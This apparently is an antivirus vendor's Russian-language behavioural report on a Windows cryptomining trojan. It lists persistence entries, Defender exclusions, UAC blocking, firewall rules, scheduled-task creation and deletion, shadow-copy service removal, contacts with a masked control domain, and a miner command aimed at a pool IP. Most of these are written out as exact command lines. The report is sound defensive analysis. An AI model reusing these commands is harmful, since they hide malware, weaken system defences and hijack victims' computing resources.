Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Realtek HD Audio' = '%PROGRAMDATA%\RealtekHD\taskhostw.exe'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\microsoft\windows\wininet\systemc
- <SYSTEM32>\tasks\microsoft\windows\wininet\cleaner
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует отображение:
- скрытых файлов
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
изменяет следующие системные настройки:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'DisallowRun' = '00000001'
добавляет исключения антивируса с помощью следующих ключей реестра::
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%PROGRAMDATA%' = 'System'
- [<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%PROGRAMDATA%' = 'System'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>' = 'SystemHD'
- [<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>' = 'SystemHD'
Запускает на исполнение
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Recovery Service" dir=in action=allow program="%PROGRAMDATA%\WindowsTask\MicrosoftHost.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Shadow Service" dir=in action=allow program="%PROGRAMDATA%\WindowsTask\AppModule.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Security Service" dir=in action=allow program="%PROGRAMDATA%\WindowsTask\AMD.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Recovery Services" dir=out action=allow program="%PROGRAMDATA%\WindowsTask\MicrosoftHost.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Shadow Services" dir=out action=allow program="%PROGRAMDATA%\WindowsTask\AppModule.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Security Services" dir=out action=allow program="%PROGRAMDATA%\WindowsTask\AMD.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="AllowPort1" protocol=TCP localport=9494 action=allow dir=IN
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="AllowPort2" protocol=TCP localport=9393 action=allow dir=IN
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="AllowPort3" protocol=TCP localport=9494 action=allow dir=out
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="AllowPort4" protocol=TCP localport=9393 action=allow dir=out
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\aute348.tmp
- %APPDATA%\microsoft\windows\cookies\low\index.dat
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\bs5gagvm\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\1384m7s5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\knskqhy4\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\7x0szqab\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\index.dat
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\index.dat
- %LOCALAPPDATA%\microsoft\windows\history\low\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\desktop.ini
- %PROGRAMDATA%\windowstask\4
- %PROGRAMDATA%\windowstask\winlogon.exe
- %TEMP%\aut21f7.tmp
- %PROGRAMDATA%\windowstask\opencl.dll
- %TEMP%\aute55d.tmp
- %PROGRAMDATA%\realtekhd\taskhostw.exe
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\desktop.ini
- %PROGRAMDATA%\windowstask\microsofthost.exe
Присваивает атрибут 'скрытый' для следующих файлов
- %PROGRAMDATA%\windowstask\opencl.dll
- %PROGRAMDATA%\realtekhd\taskhostw.exe
- %PROGRAMDATA%\windowstask\winlogon.exe
- %PROGRAMDATA%\windowstask\4
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\7x0szqab\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\knskqhy4\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\1384m7s5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\bs5gagvm\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\history\low\desktop.ini
- %PROGRAMDATA%\windowstask\microsofthost.exe
Удаляет следующие файлы
- %TEMP%\aute348.tmp
- %TEMP%\aute55d.tmp
- %TEMP%\aut21f7.tmp
- <SYSTEM32>\tasks\adobe acrobat update task
- %WINDIR%\tasks\adobe flash player updater.job
- <SYSTEM32>\tasks\adobe flash player updater
- <SYSTEM32>\tasks\officesoftwareprotectionplatform\svcrestarttask
Подменяет следующие файлы
- %PROGRAMDATA%\ntuser.pol
- %HOMEPATH%\ntuser.pol
Сетевая активность
TCP
Запросы HTTP GET
- http://ne####txrand.com/randomnan/STATUS.html
- http://ne####txrand.com/randomnan/loaderTOP.html
- http://ne####txrand.com/randomnan/Login.html
- http://ne####txrand.com/randomnan/Password.html
- http://ne####txrand.com/randomnan/Server.html
- http://ne####txrand.com/randomnan/configCPUX.html
UDP
- DNS ASK ne####txrand.com
Другое
Создает и запускает на исполнение
- '%PROGRAMDATA%\realtekhd\taskhostw.exe'
- '%PROGRAMDATA%\windowstask\winlogon.exe'
- '%PROGRAMDATA%\windowstask\microsofthost.exe' -o stratum+tcp://45.145.0.26:6262 -u Toprig --donate-level=1 -k -t1
- '%WINDIR%\syswow64\cmd.exe' /C schtasks /Delete /TN "OfficeSoftwareProtectionPlatform\SvcRestartTask" /F' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /C schtasks /Delete /TN "Adobe Flash Player Updater" /F' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /C schtasks /Delete /TN "Adobe Acrobat Update Task" /F' (со скрытым окном)
- '%PROGRAMDATA%\realtekhd\taskhostw.exe' ' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c gpupdate /force' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ipconfig /flushdns' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /C schtasks /query /fo list' (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "%PROGRAMDATA%\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST' (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "%PROGRAMDATA%\RealtekHD\taskhostw.exe" /SC MINUTE /MO 1' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c sc delete swprv' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="AllowPort3" protocol=TCP localport=9494 action=allow dir=out' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="AllowPort2" protocol=TCP localport=9393 action=allow dir=IN' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="AllowPort1" protocol=TCP localport=9494 action=allow dir=IN' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="Security Services" dir=out action=allow program="%PROGRAMDATA%\WindowsTask\AMD.exe" enable=yes' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="Shadow Services" dir=out action=allow program="%PROGRAMDATA%\WindowsTask\AppModule.exe" enable=yes' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="Recovery Services" dir=out action=allow program="%PROGRAMDATA%\WindowsTask\MicrosoftHost.exe" enable=yes' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="Security Service" dir=in action=allow program="%PROGRAMDATA%\WindowsTask\AMD.exe" enable=yes' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="Shadow Service" dir=in action=allow program="%PROGRAMDATA%\WindowsTask\AppModule.exe" enable=yes' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="Recovery Service" dir=in action=allow program="%PROGRAMDATA%\WindowsTask\MicrosoftHost.exe" enable=yes' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall set allprofiles state on' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="AllowPort4" protocol=TCP localport=9393 action=allow dir=out' (со скрытым окном)
- '%PROGRAMDATA%\windowstask\microsofthost.exe' -o stratum+tcp://45.145.0.26:6262 -u Toprig --donate-level=1 -k -t1' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall set allprofiles state on
- '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "Adobe Acrobat Update Task" /F
- '%WINDIR%\syswow64\cmd.exe' /C schtasks /Delete /TN "OfficeSoftwareProtectionPlatform\SvcRestartTask" /F
- '%WINDIR%\syswow64\cmd.exe' /C schtasks /Delete /TN "Adobe Flash Player Updater" /F
- '%WINDIR%\syswow64\cmd.exe' /C schtasks /Delete /TN "Adobe Acrobat Update Task" /F
- '<SYSTEM32>\raserver.exe' /offerraupdate
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '<SYSTEM32>\rundll32.exe' "<SYSTEM32>\WININET.dll",DispatchAPICall 1
- '<SYSTEM32>\gpupdate.exe' /force
- '<SYSTEM32>\ipconfig.exe' /flushdns
- '<SYSTEM32>\taskeng.exe' {B6D82A3D-8CE8-4C85-9931-C23505FD530B} S-1-5-21-1960123792-2022915161-3775307078-1001:uipfwrrkjs\user:Interactive:[1]
- '<SYSTEM32>\cmd.exe' /c gpupdate /force
- '<SYSTEM32>\cmd.exe' /c ipconfig /flushdns
- '%WINDIR%\syswow64\schtasks.exe' /query /fo list
- '%WINDIR%\syswow64\cmd.exe' /C schtasks /query /fo list
- '%WINDIR%\syswow64\sc.exe' delete swprv
- '%WINDIR%\syswow64\schtasks.exe' /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "%PROGRAMDATA%\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
- '%WINDIR%\syswow64\netsh.exe' advfirewall set allprofiles state on
- '%WINDIR%\syswow64\schtasks.exe' /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "%PROGRAMDATA%\RealtekHD\taskhostw.exe" /SC MINUTE /MO 1
- '%WINDIR%\syswow64\cmd.exe' /c sc delete swprv
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="AllowPort4" protocol=TCP localport=9393 action=allow dir=out
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="AllowPort3" protocol=TCP localport=9494 action=allow dir=out
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="AllowPort2" protocol=TCP localport=9393 action=allow dir=IN
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="AllowPort1" protocol=TCP localport=9494 action=allow dir=IN
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="Security Services" dir=out action=allow program="%PROGRAMDATA%\WindowsTask\AMD.exe" enable=yes
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="Shadow Services" dir=out action=allow program="%PROGRAMDATA%\WindowsTask\AppModule.exe" enable=yes
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="Recovery Services" dir=out action=allow program="%PROGRAMDATA%\WindowsTask\MicrosoftHost.exe" enable=yes
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="Security Service" dir=in action=allow program="%PROGRAMDATA%\WindowsTask\AMD.exe" enable=yes
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="Shadow Service" dir=in action=allow program="%PROGRAMDATA%\WindowsTask\AppModule.exe" enable=yes
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall firewall add rule name="Recovery Service" dir=in action=allow program="%PROGRAMDATA%\WindowsTask\MicrosoftHost.exe" enable=yes
- '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "Adobe Flash Player Updater" /F
- '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "OfficeSoftwareProtectionPlatform\SvcRestartTask" /F
